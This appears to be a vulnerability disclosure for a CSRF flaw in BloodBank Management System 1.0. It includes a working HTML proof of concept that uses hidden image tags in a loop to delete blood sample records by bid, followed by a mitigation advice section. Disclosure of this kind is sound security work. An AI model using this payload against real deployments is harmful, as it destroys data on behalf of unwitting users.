Blood bank CSRF Attack POC
## **Affected Version:**
- **BloodBank Management System**: 1.0
## **Vulnerability Information:**
- **Vulnerability Type:** Cross Site Request Forgery (CSRF)
- **Severity:** HIGH
- **Status:** Unpatched
## **Vulnerable Endpoint:**
- **Path:** `/file/delete.php?bid=`
## **Vulnerability Description:**
A **Cross Site Request Forgery (CSRF)** vulnerability was discovered in the **blood request functionality** of the BloodBank Management System. This flaw occurs when sending a `delete` request to this path `/file/delete.php?bid=` allowing the `bid` parameter to select a record to delete on the application. The `bids` however are dynamic depending on adding the blood samples, so to make the request successfull i used a javascript generated image tag within a loop.
Successful exploitation can lead to **unauthorized actions ie deletion of data** on behalf of the victim. Additionally, this could be exploited by visiting malicious websites with the payload.
---
## **Proof of Concept (PoC):**
Below is an example of a **CSRF POC Attack** that deletes the `available blood samples` via the `bid` parameter, host the file on an attacker controlled domain in my case i was using `localhost`:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
```
---
## Video POC
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## **Impact:**
- **Data Manipulation:** Attackers could modify the content displayed to users.
- **Reputational Damage:** Users may lose trust in the system due to malicious behavior.
---
## **Mitigation Recommendations:**
1. **Use CSRF Token** Implement mechanism to deter cross domain access or put `csrf tokens` in your request and also avoid `GET` requests from making state changing actions
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[4.0K] /data/pocs/86608caf7e3452d351dbac80bdffec4c16ebd322
├── [5.3M] bloodbank-delete-csrf.mp4
├── [ 734] poc.html
└── [2.4K] README.md
0 directories, 3 files